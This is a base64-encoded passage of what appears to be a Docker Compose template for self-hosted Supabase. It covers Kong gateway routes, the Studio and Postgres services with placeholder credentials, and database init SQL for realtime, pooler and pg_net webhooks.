B0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3N0b3JhZ2UvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEVkZ2UgRnVuY3Rpb25zIHJvdXRlc1xuICAtIG5hbWU6IGZ1bmN0aW9ucy12MVxuICAgIF9jb21tZW50OiAnRWRnZSBGdW5jdGlvbnM6IC9mdW5jdGlvbnMvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOjkwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBmdW5jdGlvbnMtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZnVuY3Rpb25zL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBBbmFseXRpY3Mgcm91dGVzXG4gIC0gbmFtZTogYW5hbHl0aWNzLXYxXG4gICAgX2NvbW1lbnQ6ICdBbmFseXRpY3M6IC9hbmFseXRpY3MvdjEvKiAtPiBodHRwOi8vbG9nZmxhcmU6NDAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYW5hbHl0aWNzLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2FuYWx5dGljcy92MS9cblxuICAjIyBTZWN1cmUgRGF0YWJhc2Ugcm91dGVzXG4gIC0gbmFtZTogbWV0YVxuICAgIF9jb21tZW50OiAncGctbWV0YTogL3BnLyogLT4gaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IG1ldGEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcGcvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG5cbiAgIyMgUHJvdGVjdGVkIERhc2hib2FyZCAtIGNhdGNoIGFsbCByZW1haW5pbmcgcm91dGVzXG4gIC0gbmFtZTogZGFzaGJvYXJkXG4gICAgX2NvbW1lbnQ6ICdTdHVkaW86IC8qIC0+IGh0dHA6Ly9zdHVkaW86MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0dWRpbzozMDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogZGFzaGJvYXJkLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZTogYmFzaWMtYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuIgogIHN1cGFiYXNlLXN0dWRpbzoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3R1ZGlvOjIwMjUuMTIuMTctc2hhLTQzZjRmN2YnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gImZldGNoKCdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3BsYXRmb3JtL3Byb2ZpbGUnKS50aGVuKChyKSA9PiB7aWYgKHIuc3RhdHVzICE9PSAyMDApIHRocm93IG5ldyBFcnJvcihyLnN0YXR1cyl9KSIKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSE9TVE5BTUU9MC4wLjAuMAogICAgICAtICdTVFVESU9fUEdfTUVUQV9VUkw9aHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MCcKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnREVGQVVMVF9PUkdBTklaQVRJT05fTkFNRT0ke1NUVURJT19ERUZBVUxUX09SR0FOSVpBVElPTjotRGVmYXVsdCBPcmdhbml6YXRpb259JwogICAgICAtICdERUZBVUxUX1BST0pFQ1RfTkFNRT0ke1NUVURJT19ERUZBVUxUX1BST0pFQ1Q6LURlZmF1bHQgUHJvamVjdH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD1odHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwJwogICAgICAtICdTVVBBQkFTRV9QVUJMSUNfVVJMPSR7U0VSVklDRV9GUUROX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFU0VSVklDRV9LRVl9JwogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0xPR0ZMQVJFX0FQSV9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0xPR0ZMQVJFfScKICAgICAgLSAnTE9HRkxBUkVfVVJMPWh0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMCcKICAgICAgLSAnU1VQQUJBU0VfUFVCTElDX0FQST0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjtcbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBzdXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWls